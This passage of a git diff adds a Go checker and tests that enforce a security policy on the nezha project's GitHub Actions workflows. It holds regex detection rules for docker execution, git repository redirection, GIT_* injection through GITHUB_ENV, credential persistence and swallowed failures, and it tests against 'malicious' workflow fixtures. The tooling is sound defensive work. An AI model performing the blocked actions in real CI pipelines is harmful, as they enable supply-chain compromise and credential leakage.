'^"+agentWorkflowStressTestName+"$' ./integration/agentcompat/internal/scenario | grep -Fx '"+agentWorkflowStressTestName+"'", listStep.Run) + + runStep := stressJob.stepNamed(t, "Run PR-full agent compatibility stress") + require.Equal(t, "nezha", runStep.WorkingDirectory) + require.Equal(t, "${{ github.workspace }}/nezha", runStep.Env.AgentcompatNezhaSource) + require.Equal(t, "${{ github.workspace }}/agent", runStep.Env.AgentcompatAgentSource) + require.Equal(t, "go test -mod=readonly -tags=agentcompat -run '^"+agentWorkflowStressTestName+"$' -count=1 -v ./integration/agentcompat/internal/scenario", runStep.Run) + +} + +func requireActionRepository(t *testing.T, uses, repository string) { + t.Helper() + action, _, found := strings.Cut(uses, "@") + require.True(t, found) + require.Equal(t, repository, action) +} diff --git a/integration/agentcompat/internal/workflowpolicy/artifact.go b/integration/agentcompat/internal/workflowpolicy/artifact.go new file mode 100644 index 00000000..ce93ccd7 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/artifact.go @@ -0,0 +1,54 @@ +package workflowpolicy + +import ( + "strings" + + "gopkg.in/yaml.v3" +) + +const redactedArtifactPath = "${{ runner.temp }}/nezha-agentcompat-redacted" +const redactionCommand = `go run ./integration/agentcompat/cmd/redact --output "$RUNNER_TEMP/nezha-agentcompat-redacted"` + +func (c *checker) isRedactionStep(step *yaml.Node) bool { + run, hasRun := mappingValue(step, "run") + if !hasRun || run.Kind != yaml.ScalarNode { + return false + } + if strings.TrimSpace(run.Value) != redactionCommand { + return false + } + condition, hasCondition := mappingValue(step, "if") + if !hasCondition || strings.TrimSpace(condition.Value) != "always()" { + return false + } + for _, key := range []string{"name", "id"} { + value, exists := mappingValue(step, key) + if exists && strings.Contains(strings.ToLower(value.Value), "redact") { + return true + } + } + return false +} + +func (c *checker) checkArtifactUpload(path string, step *yaml.Node, redactionComplete bool) { + if !redactionComplete { + c.reject(RuleArtifactRedaction, at(path+".uses", step), "artifact upload must immediately follow a redaction step with if: always()") + } + condition, hasCondition := mappingValue(step, "if") + if !hasCondition || strings.TrimSpace(condition.Value) != "always()" { + c.reject(RuleArtifactRedaction, at(path+".if", step), "artifact upload requires if: always()") + } + with, exists := mappingValue(step, "with") + artifactPath, hasPath := mappingValue(with, "path") + if !exists || !hasPath || !redactedArtifactPaths(artifactPath.Value) { + node := step + if hasPath { + node = artifactPath + } + c.reject(RuleArtifactRedaction, at(path+".with.path", node), "artifact path must reference redacted output") + } +} + +func redactedArtifactPaths(raw string) bool { + return strings.TrimSpace(raw) == redactedArtifactPath +} diff --git a/integration/agentcompat/internal/workflowpolicy/checkout.go b/integration/agentcompat/internal/workflowpolicy/checkout.go new file mode 100644 index 00000000..70a6865e --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/checkout.go @@ -0,0 +1,60 @@ +package workflowpolicy + +import ( + "fmt" + "strings" + + "gopkg.in/yaml.v3" +) + +func (c *checker) checkCheckout(path string, step *yaml.Node) { + with, exists := mappingValue(step, "with") + if !exists || with.Kind != yaml.MappingNode { + c.reject(RulePersistCredentials, at(path+".with.persist-credentials", step), "checkout requires persist-credentials: false") + return + } + persistCredentials, exists := mappingValue(with, "persist-credentials") + if !exists || !explicitFalse(persistCredentials) { + node := with + if exists { + node = persistCredentials + } + c.reject(RulePersistCredentials, at(path+".with.persist-credentials", node), "checkout requires persist-credentials: false as a boolean") + } + repositoryNode, exists := mappingValue(with, "repository") + if !exists { + return + } + repository, literal := scalarString(repositoryNode) + if !literal || strings.Contains(repository, "${{") { + c.reject(RuleRepositoryNotLiteral, at(path+".with.repository", repositoryNode), "checkout repository must be a literal") + return + } + if repository != string(RepositoryAgent) && repository != string(RepositoryNezha) { + detail := fmt.Sprintf("repository %q is not allowed; only nezhahq/agent and nezhahq/nezha are allowed", repository) + c.reject(RuleRepositoryNotAllowed, at(path+".with.repository", repositoryNode), detail) + return + } + ref, exists := mappingValue(with, "ref") + if !exists { + return + } + refValue, literal := scalarString(ref) + if !literal || strings.TrimSpace(refValue) == "" || strings.Contains(refValue, "${{") { + c.reject(RuleRepositoryNotLiteral, at(path+".with.ref", ref), "checkout ref must be a nonempty literal") + } +} + +func (c *checker) checkCacheInputs(path string, step *yaml.Node) { + with, exists := mappingValue(step, "with") + if !exists { + return + } + for _, key := range []string{"cache", "cache-dependency-path"} { + value, present := mappingValue(with, key) + if present && !explicitFalse(value) { + detail := fmt.Sprintf("dependency or executable cache input %s is forbidden", key) + c.reject(RuleReusableExecutable, at(path+".with."+key, value), detail) + } + } +} diff --git a/integration/agentcompat/internal/workflowpolicy/execution.go b/integration/agentcompat/internal/workflowpolicy/execution.go new file mode 100644 index 00000000..f5a9d7ac --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/execution.go @@ -0,0 +1,199 @@ +package workflowpolicy + +import ( + "fmt" + "regexp" + "strconv" + "strings" + + "gopkg.in/yaml.v3" +) + +var ( + dockerCommandPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*|\s)(?:(?:sudo|env)\s+)?(?:/[^\s]+/)?(?:docker|podman|nerdctl|containerd|buildah|runc|crictl)(?:\s|$)`) + gitHubEnvironmentPattern = regexp.MustCompile(`(?is)GIT_[A-Za-z0-9_]*.*GITHUB_ENV|GITHUB_ENV.*GIT_[A-Za-z0-9_]*`) + swallowedFailurePattern = regexp.MustCompile(`(?mi)(?:\|\|\s*(?:true|:|echo\b|printf\b|exit\s+0\b))|(?:^|[;&]\s*)set\s+\+(?:e|o\s+errexit)(?:\s|;|$)|(?:^|[;&]\s*)if\s+|(?:\b(?:bash|sh)\s+-c\b)|(?:^|[;&]\s*)trap\b[^\n]*\bexit\s+0\b|(?:[;&]\s*)(?:true|:)\s*(?:;|$)`) + workspaceCommandPattern = regexp.MustCompile(`(?mi)(?:\$\{\{\s*github\.workspace\s*\}\}|\$GITHUB_WORKSPACE|\$\{GITHUB_WORKSPACE\})(?:/|\\)|(?:^|[;&|]\s*)(?:sudo\s+)?(?:\.\.?/|[A-Za-z0-9_.-]+/)[^\s;&|]+`) + gitRepositoryCommand = regexp.MustCompile(`(?m)(?:^|[;&|]\s*|\s)(?:(?:sudo|command|env)\s+)?(?:/usr/bin/)?git\b[^\n]*(?:clone|ls-remote)\b`) + gitConfigurationPattern = regexp.MustCompile(`(?mi)(?:^|[;&|]\s*)(?:sudo\s+)?git(?:\s+-c\s+url\.[^\s]+\.insteadOf=\S+|\s+config\b)`) +) + +func (c *checker) checkJob(name string, job *yaml.Node) { + path := "$.jobs." + name + timeout, exists := mappingValue(job, "timeout-minutes") + if !exists || !positiveInteger(timeout) { + node := job + if exists { + node = timeout + } + c.reject(RuleMissingJobTimeout, at(path+".timeout-minutes", node), "job timeout-minutes must be a positive literal") + } + c.checkRunner(path, job) + if container, exists := mappingValue(job, "container"); exists { + c.reject(RuleContainerizedExecution, at(path+".container", container), "job containers are forbidden") + } + if services, exists := mappingValue(job, "services"); exists { + c.reject(RuleContainerizedExecution, at(path+".services", services), "service containers are forbidden") + } + c.checkPermissions(job, path+".permissions", false) + c.checkContinueOnError(job, path) + if reusableWorkflow, exists := mappingValue(job, "uses"); exists { + c.reject(RuleReusableExecutable, at(path+".uses", reusableWorkflow), "job-level reusable workflows are forbidden") + return + } + steps, exists := mappingValue(job, "steps") + if !exists { + c.reject(RuleWorkflowStructure, at(path+".steps", job), "workflow jobs must define steps") + return + } + if steps.Kind != yaml.SequenceNode { + c.reject(RuleWorkflowStructure, at(path+".steps", steps), "workflow steps must be a sequence") + return + } + c.checkSteps(path, steps) +} + +func (c *checker) checkSteps(jobPath string, steps *yaml.Node) { + redactionReady := false + for index, step := range steps.Content { + path := jobPath + ".steps[" + strconv.Itoa(index) + "]" + if step.Kind != yaml.MappingNode { + c.reject(RuleWorkflowStructure, at(path, step), "workflow step must be a mapping") + redactionReady = false + continue + } + uses, hasUses := mappingValue(step, "uses") + run, hasRun := mappingValue(step, "run") + if !hasUses && !hasRun { + c.reject(RuleWorkflowStructure, at(path, step), "workflow step must define a nonempty uses or run") + redactionReady = false + continue + } + if hasUses && (uses.Kind != yaml.ScalarNode || uses.Tag != "!!str" || strings.TrimSpace(uses.Value) == "") { + c.reject(RuleWorkflowStructure, at(path+".uses", uses), "step uses must be a string action reference") + } + if hasRun && (run.Kind != yaml.ScalarNode || run.Tag != "!!str" || strings.TrimSpace(run.Value) == "") { + c.reject(RuleWorkflowStructure, at(path+".run", run), "step run must be a scalar shell command") + } + c.checkContinueOnError(step, path) + if hasRun { + c.checkRun(path+".run", run) + } + if hasUses { + c.checkUses(path, step, stepCheckState{redactionComplete: redactionReady}) + redactionReady = false + continue + } + redactionReady = c.isRedactionStep(step) + } +} + +func (c *checker) checkContinueOnError(mapping *yaml.Node, path string) { + value, exists := mappingValue(mapping, "continue-on-error") + if exists && !explicitFalse(value) { + c.reject(RuleContinueOnError, at(path+".continue-on-error", value), "continue-on-error must not enable failure suppression") + } +} + +func (c *checker) checkRun(path string, run *yaml.Node) { + command, exists := scalarString(run) + if !exists { + return + } + if dockerCommandPattern.MatchString(command) { + c.reject(RuleContainerizedExecution, at(path, run), "docker execution is forbidden") + } + if swallowedFailurePattern.MatchString(command) { + c.reject(RuleSwallowedFailure, at(path, run), "shell failure is swallowed by || true or another ignored fallback, exit 0, or disabled errexit") + } + if workspaceCommandPattern.MatchString(command) { + c.reject(RuleReusableExecutable, at(path, run), "executing a binary from the GitHub workspace is forbidden") + } + if gitHubEnvironmentPattern.MatchString(command) { + c.reject(RuleRepositoryNotLiteral, at(path, run), "writing GIT_* configuration through GITHUB_ENV is forbidden") + } + if gitConfigurationPattern.MatchString(command) { + c.reject(RuleRepositoryNotLiteral, at(path, run), "Git configuration mutation is forbidden") + } + if gitRepositoryCommand.MatchString(command) { + rule := RuleRepositoryNotLiteral + detail := fmt.Sprintf("git repository operation %q is forbidden", strings.TrimSpace(command)) + if !strings.Contains(command, "$") { + rule = RuleRepositoryNotAllowed + detail = fmt.Sprintf("repository operation %q is forbidden", strings.TrimSpace(command)) + } + c.reject(rule, at(path, run), detail) + } +} + +type stepCheckState struct { + redactionComplete bool +} + +func (c *checker) checkUses(path string, step *yaml.Node, state stepCheckState) { + uses, exists := mappingValue(step, "uses") + if !exists { + return + } + action, literal := scalarString(uses) + if !literal { + return + } + if strings.Contains(action, "${{") { + c.reject(RuleRepositoryNotLiteral, at(path+".uses", uses), "action reference must be literal") + return + } + lowerAction := strings.ToLower(action) + if strings.HasPrefix(lowerAction, "docker://") { + c.reject(RuleContainerizedExecution, at(path+".uses", uses), "Docker actions are forbidden") + return + } + if strings.HasPrefix(lowerAction, "./") { + c.reject(RuleReusableExecutable, at(path+".uses", uses), "local action reuse from the workspace is forbidden") + return + } + actionRepository, valid := actionRepository(lowerAction) + if !valid { + c.reject(RuleWorkflowStructure, at(path+".uses", uses), "action reference must use owner/repository@ref syntax") + return + } + switch actionRepository { + case "actions/cache", "actions/cache/restore", "actions/cache/save", "actions/download-artifact": + c.reject(RuleReusableExecutable, at(path+".uses", uses), fmt.Sprintf("cache or artifact reuse action %q is forbidden", actionRepository)) + return + } + if !approvedAction(actionRepository) { + c.reject(RuleRepositoryNotAllowed, at(path+".uses", uses), "action repository is not approved") + return + } + switch actionRepository { + case "actions/checkout": + c.checkCheckout(path, step) + case "actions/setup-go": + c.checkRequiredCacheDisabled(path, step) + case "actions/upload-artifact": + c.checkArtifactUpload(path, step, state.redactionComplete) + } + c.checkCacheInputs(path, step) +} + +func actionRepository(action string) (string, bool) { + repository, ref, found := strings.Cut(action, "@") + if !found || repository == "" || ref == "" || strings.Contains(ref, "@") || strings.ContainsAny(action, " \t\r\n") { + return "", false + } + owner, name, found := strings.Cut(repository, "/") + if !found || owner == "" || name == "" || strings.Contains(name, "/") { + return "", false + } + return repository, true +} + +func approvedAction(repository string) bool { + switch repository { + case "actions/checkout", "actions/setup-go", "actions/upload-artifact": + return true + default: + return false + } +} diff --git a/integration/agentcompat/internal/workflowpolicy/execution_test.go b/integration/agentcompat/internal/workflowpolicy/execution_test.go new file mode 100644 index 00000000..450d997d --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/execution_test.go @@ -0,0 +1,255 @@ +package workflowpolicy_test + +import ( + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" +) + +func TestPolicy_RejectsSelfHostedRunner(t *testing.T) { + assertFixtureRejected(t, rejected("self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted")) +} + +func TestPolicy_RejectsMatrixSelfHostedRunner(t *testing.T) { + assertFixtureRejected(t, rejected("matrix-self-hosted.yml", workflowpolicy.RuleSelfHostedRunner, "self-hosted")) +} + +func TestPolicy_RejectsCustomRunnerLabel(t *testing.T) { + assertFixtureRejected(t, rejected("custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted")) +} + +func TestPolicy_RejectsMatrixIncludeRunner(t *testing.T) { + assertFixtureRejected(t, rejected("matrix-include-runner.yml", workflowpolicy.RuleSelfHostedRunner, "include")) +} + +func TestPolicy_RejectsComposedCustomRunnerLabel(t *testing.T) { + assertFixtureRejected(t, rejected("composed-custom-runner.yml", workflowpolicy.RuleSelfHostedRunner, "GitHub-hosted")) +} + +func TestPolicy_RejectsDockerExecution(t *testing.T) { + assertFixtureRejected(t, rejected("docker.yml", workflowpolicy.RuleContainerizedExecution, "docker")) +} + +func TestPolicy_RejectsAbsoluteDockerExecution(t *testing.T) { + assertFixtureRejected(t, rejected("absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker")) +} + +func TestPolicy_RejectsAlternateAbsoluteDockerExecution(t *testing.T) { + assertFixtureRejected(t, rejected("alternate-absolute-docker.yml", workflowpolicy.RuleContainerizedExecution, "docker")) +} + +func TestPolicy_RejectsJobContainer(t *testing.T) { + assertFixtureRejected(t, rejected("container.yml", workflowpolicy.RuleContainerizedExecution, "container")) +} + +func TestPolicy_RejectsServiceContainers(t *testing.T) { + assertFixtureRejected(t, rejected("services.yml", workflowpolicy.RuleContainerizedExecution, "services")) +} + +func TestPolicy_RejectsCacheReuse(t *testing.T) { + assertFixtureRejected(t, rejected("cache.yml", workflowpolicy.RuleReusableExecutable, "cache")) +} + +func TestPolicy_RejectsSetupGoDefaultCache(t *testing.T) { + assertFixtureRejected(t, rejected("setup-go-default-cache.yml", workflowpolicy.RuleReusableExecutable, "cache: false")) +} + +func TestPolicy_RejectsArtifactExecutableReuse(t *testing.T) { + assertFixtureRejected(t, rejected("download-artifact.yml", workflowpolicy.RuleReusableExecutable, "artifact reuse")) +} + +func TestPolicy_RejectsWorkspaceExecutableReuse(t *testing.T) { + assertFixtureRejected(t, rejected("workspace-executable.yml", workflowpolicy.RuleReusableExecutable, "workspace")) +} + +func TestPolicy_RejectsLocalActionReuse(t *testing.T) { + assertFixtureRejected(t, rejected("local-action.yml", workflowpolicy.RuleReusableExecutable, "local action")) +} + +func TestPolicy_RejectsUnapprovedAction(t *testing.T) { + assertFixtureRejected(t, rejected("unapproved-action.yml", workflowpolicy.RuleRepositoryNotAllowed, "action")) +} + +func TestPolicy_RejectsActionReferenceWithoutRef(t *testing.T) { + assertFixtureRejected(t, rejected("action-reference-missing-ref.yml", workflowpolicy.RuleWorkflowStructure, "owner/repository@ref")) +} + +func TestPolicy_RejectsMalformedActionReferences(t *testing.T) { + tests := []struct { + name string + uses string + rule workflowpolicy.Rule + diagnostic string + }{ + {name: "empty ref", uses: "actions/checkout@", rule: workflowpolicy.RuleWorkflowStructure, diagnostic: "owner/repository@ref"}, + {name: "duplicate separator", uses: "actions/checkout@v7@unexpected", rule: workflowpolicy.RuleWorkflowStructure, diagnostic: "owner/repository@ref"}, + {name: "extra action path", uses: "actions/checkout/extra@v7", rule: workflowpolicy.RuleWorkflowStructure, diagnostic: "owner/repository@ref"}, + {name: "whitespace", uses: "actions/checkout @v7", rule: workflowpolicy.RuleWorkflowStructure, diagnostic: "owner/repository@ref"}, + {name: "dynamic ref", uses: "actions/checkout@${{ inputs.ref }}", rule: workflowpolicy.RuleRepositoryNotLiteral, diagnostic: "action reference must be literal"}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + workflow := "on:\n pull_request:\nconcurrency: policy\npermissions:\n contents: read\njobs:\n verify:\n runs-on: ubuntu-24.04\n timeout-minutes: 10\n steps:\n - uses: \"" + test.uses + "\"\n with:\n persist-credentials: false\n" + err := workflowpolicy.Verify([]byte(workflow), workflowpolicy.RepositoryNezha) + requireTypedPolicyError(t, err, test.rule) + require.ErrorContains(t, err, test.diagnostic) + }) + } +} + +func TestPolicy_RejectsReusableWorkflowJob(t *testing.T) { + assertFixtureRejected(t, rejected("reusable-workflow-job.yml", workflowpolicy.RuleReusableExecutable, "reusable workflow")) +} + +func TestPolicy_RejectsContinueOnError(t *testing.T) { + assertFixtureRejected(t, rejected("continue-on-error.yml", workflowpolicy.RuleContinueOnError, "continue-on-error")) +} + +func TestPolicy_RejectsSwallowedShellFailure(t *testing.T) { + assertFixtureRejected(t, rejected("swallowed-failure.yml", workflowpolicy.RuleSwallowedFailure, "|| true")) +} + +func TestPolicy_RejectsAlternativeSwallowedShellFailures(t *testing.T) { + for _, fixture := range []string{"or-echo-failure.yml", "or-printf-failure.yml", "or-exit-zero-failure.yml", "set-plus-o-errexit.yml", "set-plus-e-semicolon.yml", "if-not-failure.yml", "if-condition-failure.yml", "and-if-condition-failure.yml", "nested-shell.yml"} { + t.Run(fixture, func(t *testing.T) { + assertFixtureRejected(t, rejected(fixture, workflowpolicy.RuleSwallowedFailure, "failure")) + }) + } +} + +func TestPolicy_RejectsMissingJobTimeout(t *testing.T) { + assertFixtureRejected(t, rejected("missing-timeout.yml", workflowpolicy.RuleMissingJobTimeout, "timeout-minutes")) +} + +func TestPolicy_RejectsMissingConcurrency(t *testing.T) { + assertFixtureRejected(t, rejected("missing-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency")) +} + +func TestPolicy_RejectsEmptyConcurrency(t *testing.T) { + assertFixtureRejected(t, rejected("empty-concurrency.yml", workflowpolicy.RuleMissingConcurrency, "concurrency")) +} + +func TestPolicy_RejectsArtifactWithoutRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("artifact-without-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step")) +} + +func TestPolicy_RejectsUnredactedArtifactPath(t *testing.T) { + assertFixtureRejected(t, rejected("unredacted-artifact-path.yml", workflowpolicy.RuleArtifactRedaction, "redacted")) +} + +func TestPolicy_RejectsNoOpRedactionStep(t *testing.T) { + assertFixtureRejected(t, rejected("no-op-redaction.yml", workflowpolicy.RuleArtifactRedaction, "redaction step")) +} + +func TestPolicy_RejectsConditionalRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("conditional-redaction.yml", workflowpolicy.RuleArtifactRedaction, "always()")) +} + +func TestPolicy_RejectsRawWriteAfterRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("raw-after-redaction.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow")) +} + +func TestPolicy_RejectsCommandsAppendedToRedaction(t *testing.T) { + assertFixtureRejected(t, rejected("redaction-command-append.yml", workflowpolicy.RuleArtifactRedaction, "immediately follow")) +} + +func TestPolicy_RejectsUntrustedRunExpression(t *testing.T) { + assertFixtureRejected(t, rejected("untrusted-run-expression.yml", workflowpolicy.RuleUntrustedExpression, "pull_request.title")) +} + +func TestPolicy_RejectsDynamicGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("dynamic-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsUnapprovedGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("unapproved-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "attacker/fork")) +} + +func TestPolicy_RejectsEnvironmentGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("environment-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsExternalGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("external-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository")) +} + +func TestPolicy_RejectsPrefixedGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("prefixed-git-repository.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsGitGlobalOptionRepository(t *testing.T) { + assertFixtureRejected(t, rejected("git-global-option-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository")) +} + +func TestPolicy_RejectsCommandOptionGitRepository(t *testing.T) { + assertFixtureRejected(t, rejected("command-option-git-repository.yml", workflowpolicy.RuleRepositoryNotAllowed, "repository")) +} + +func TestPolicy_RejectsGitConfigurationEnvironment(t *testing.T) { + assertFixtureRejected(t, rejected("git-config-environment.yml", workflowpolicy.RuleRepositoryNotLiteral, "GIT_CONFIG_COUNT")) +} + +func TestPolicy_RejectsGitHubEnvironmentConfiguration(t *testing.T) { + assertFixtureRejected(t, rejected("github-environment-git-config.yml", workflowpolicy.RuleRepositoryNotLiteral, "GITHUB_ENV")) +} + +func TestPolicy_RejectsIndexedUntrustedExpression(t *testing.T) { + assertFixtureRejected(t, rejected("indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github['event']")) +} + +func TestPolicy_RejectsDynamicIndexedUntrustedExpression(t *testing.T) { + assertFixtureRejected(t, rejected("dynamic-indexed-untrusted-expression.yml", workflowpolicy.RuleUntrustedExpression, "github[")) +} + +func TestPolicy_RejectsNonliteralAction(t *testing.T) { + assertFixtureRejected(t, rejected("nonliteral-action.yml", workflowpolicy.RuleRepositoryNotLiteral, "literal")) +} + +func TestPolicy_RejectsMixedArtifactPaths(t *testing.T) { + assertFixtureRejected(t, rejected("mixed-artifact-paths.yml", workflowpolicy.RuleArtifactRedaction, "redacted")) +} + +func TestPolicy_VerifyFileUsesFreshContents(t *testing.T) { + // Given + temporaryDirectory := t.TempDir() + workflowPath := filepath.Join(temporaryDirectory, "workflow.yml") + secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml")) + require.NoError(t, err) + require.NoError(t, os.WriteFile(workflowPath, secureWorkflow, 0o600)) + require.NoError(t, workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha)) + maliciousWorkflow, err := os.ReadFile(fixturePath(t, "continue-on-error.yml")) + require.NoError(t, err) + require.NoError(t, os.WriteFile(workflowPath, maliciousWorkflow, 0o600)) + + // When + err = workflowpolicy.VerifyFile(workflowPath, workflowpolicy.RepositoryNezha) + + // Then + requireTypedPolicyError(t, err, workflowpolicy.RuleContinueOnError) +} + +func TestPolicy_TempWorkflowsReportExactDiagnostics(t *testing.T) { + // Given + temporaryDirectory := t.TempDir() + securePath := filepath.Join(temporaryDirectory, "secure.yml") + maliciousPath := filepath.Join(temporaryDirectory, "malicious.yml") + secureWorkflow, err := os.ReadFile(fixturePath(t, "secure-nezha.yml")) + require.NoError(t, err) + maliciousWorkflow, err := os.ReadFile(fixturePath(t, "persist-credentials-true.yml")) + require.NoError(t, err) + require.NoError(t, os.WriteFile(securePath, secureWorkflow, 0o600)) + require.NoError(t, os.WriteFile(maliciousPath, maliciousWorkflow, 0o600)) + + // When + secureError := workflowpolicy.VerifyFile(securePath, workflowpolicy.RepositoryNezha) + maliciousError := workflowpolicy.VerifyFile(maliciousPath, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, secureError) + requireTypedPolicyError(t, maliciousError, workflowpolicy.RulePersistCredentials) + t.Logf("secure workflow: PASS") + t.Logf("malicious workflow: %v", maliciousError) +} diff --git a/integration/agentcompat/internal/workflowpolicy/nodes.go b/integration/agentcompat/internal/workflowpolicy/nodes.go new file mode 100644 index 00000000..60249337 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/nodes.go @@ -0,0 +1,81 @@ +package workflowpolicy + +import ( + "strconv" + "strings" + + "gopkg.in/yaml.v3" +) + +func mappingValue(mapping *yaml.Node, key string) (*yaml.Node, bool) { + if mapping == nil || mapping.Kind != yaml.MappingNode { + return nil, false + } + for index := 0; index < len(mapping.Content); index += 2 { + if mapping.Content[index].Value == key { + return mapping.Content[index+1], true + } + } + return nil, false +} + +func mappingEntries(mapping *yaml.Node) [][2]*yaml.Node { + if mapping == nil || mapping.Kind != yaml.MappingNode { + return nil + } + entries := make([][2]*yaml.Node, 0, len(mapping.Content)/2) + for index := 0; index < len(mapping.Content); index += 2 { + entries = append(entries, [2]*yaml.Node{mapping.Content[index], mapping.Content[index+1]}) + } + return entries +} + +func scalarString(node *yaml.Node) (string, bool) { + if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!str" { + return "", false + } + return node.Value, true +} + +func explicitFalse(node *yaml.Node) bool { + if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!bool" { + return false + } + return strings.EqualFold(strings.TrimSpace(node.Value), "false") +} + +func positiveInteger(node *yaml.Node) bool { + if node == nil || node.Kind != yaml.ScalarNode || node.Tag != "!!int" { + return false + } + value, err := strconv.Atoi(node.Value) + return err == nil && value > 0 +} + +func walkScalars(node *yaml.Node, visit func(*yaml.Node)) { + if node.Kind == yaml.ScalarNode { + visit(node) + } + for _, child := range node.Content { + walkScalars(child, visit) + } +} + +func walkMappings(node *yaml.Node, visit func(*yaml.Node)) { + if node.Kind == yaml.MappingNode { + visit(node) + } + for _, child := range node.Content { + walkMappings(child, visit) + } +} + +func containsScalar(node *yaml.Node, expected string) bool { + found := false + walkScalars(node, func(scalar *yaml.Node) { + if scalar.Value == expected { + found = true + } + }) + return found +} diff --git a/integration/agentcompat/internal/workflowpolicy/parse.go b/integration/agentcompat/internal/workflowpolicy/parse.go new file mode 100644 index 00000000..6c38aa5b --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/parse.go @@ -0,0 +1,60 @@ +package workflowpolicy + +import ( + "bytes" + "errors" + "fmt" + "io" + + "gopkg.in/yaml.v3" +) + +func parseWorkflow(source string, data []byte) (*yaml.Node, error) { + decoder := yaml.NewDecoder(bytes.NewReader(data)) + var document yaml.Node + if err := decoder.Decode(&document); err != nil { + return nil, &ParseError{Source: source, Cause: err} + } + if len(document.Content) != 1 || document.Content[0].Kind != yaml.MappingNode { + return nil, &ParseError{Source: source, Cause: errors.New("workflow root must be a mapping")} + } + if err := validateYAMLNode(document.Content[0]); err != nil { + return nil, &ParseError{Source: source, Cause: err} + } + + var trailing yaml.Node + err := decoder.Decode(&trailing) + if err == nil && len(trailing.Content) > 0 { + return nil, &ParseError{Source: source, Cause: errors.New("multiple YAML documents are not allowed")} + } + if err != nil && !errors.Is(err, io.EOF) { + return nil, &ParseError{Source: source, Cause: err} + } + return document.Content[0], nil +} + +func validateYAMLNode(node *yaml.Node) error { + if node.Kind == yaml.AliasNode { + return fmt.Errorf("YAML aliases are not allowed at line %d", node.Line) + } + if node.Anchor != "" { + return fmt.Errorf("YAML aliases are not allowed; YAML anchors are not allowed at line %d", node.Line) + } + if node.Kind == yaml.MappingNode { + seen := make(map[string]struct{}, len(node.Content)/2) + for index := 0; index < len(node.Content); index += 2 { + key := node.Content[index] + identity := key.Tag + "\x00" + key.Value + if _, exists := seen[identity]; exists { + return fmt.Errorf("duplicate key %q at line %d", key.Value, key.Line) + } + seen[identity] = struct{}{} + } + } + for _, child := range node.Content { + if err := validateYAMLNode(child); err != nil { + return err + } + } + return nil +} diff --git a/integration/agentcompat/internal/workflowpolicy/policy_test.go b/integration/agentcompat/internal/workflowpolicy/policy_test.go new file mode 100644 index 00000000..22b8c5f0 --- /dev/null +++ b/integration/agentcompat/internal/workflowpolicy/policy_test.go @@ -0,0 +1,311 @@ +package workflowpolicy_test + +import ( + "errors" + "os" + "path/filepath" + "testing" + + "github.com/nezhahq/nezha/integration/agentcompat/internal/workflowpolicy" + "github.com/stretchr/testify/require" + "gopkg.in/yaml.v3" +) + +func TestPolicy_AcceptsSecureNezhaWorkflow(t *testing.T) { + // Given + path := fixturePath(t, "secure-nezha.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryNezha) + + // Then + require.NoError(t, err) +} + +func TestPolicy_AcceptsSecureAgentWorkflow(t *testing.T) { + // Given + path := fixturePath(t, "secure-agent.yml") + + // When + err := workflowpolicy.VerifyFile(path, workflowpolicy.RepositoryAgent) + + // Then + require.NoError(t, err) +} + +func TestPolicy_AcceptsCrossRepositoryCheckoutRefs(t *testing.T) { + tests := []struct { + name string + fixture string + repository workflowpolicy.Repository + }{ + {name: "default branch", fixture: "cross-repository-default-ref.yml", repository: workflowpolicy.RepositoryNezha}, + {name: "branch", fixture: "secure-agent.yml", repository: workflowpolicy.RepositoryAgent}, + {name: "version tag", fixture: "secure-nezha.yml", repository: workflowpolicy.RepositoryNezha}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + err := workflowpolicy.VerifyFile(fixturePath(t, test.fixture), test.repository) + require.NoError(t, err) + }) + } +} + +func TestPolicy_RejectsInvalidCrossRepositoryCheckoutRefs(t *testing.T) { + tests := []struct { + name string + ref string + }{ + {name: "dynamic", ref: "${{ inputs.ref }}"}, + {name: "non-string", ref: "false"}, + {name: "empty", ref: "\"\""}, + {name: "whitespace only", ref: "\" \""}, + } + for _, test := range tests { + t.Run(test.name, func(t *testing.T) { + workflow := "on:\n pull_request:\nconcurrency: policy\npermissions:\n contents: read\njobs:\n verify:\n runs-on: ubuntu-24.04\n timeout-minutes: 10\n steps:\n - uses: actions/checkout@v7.0.1\n with:\n repository: nezhahq/agent\n ref: " + test.ref + "\n persist-credentials: false\n" + err := workflowpolicy.Verify([]byte(workflow), workflowpolicy.RepositoryNezha) + 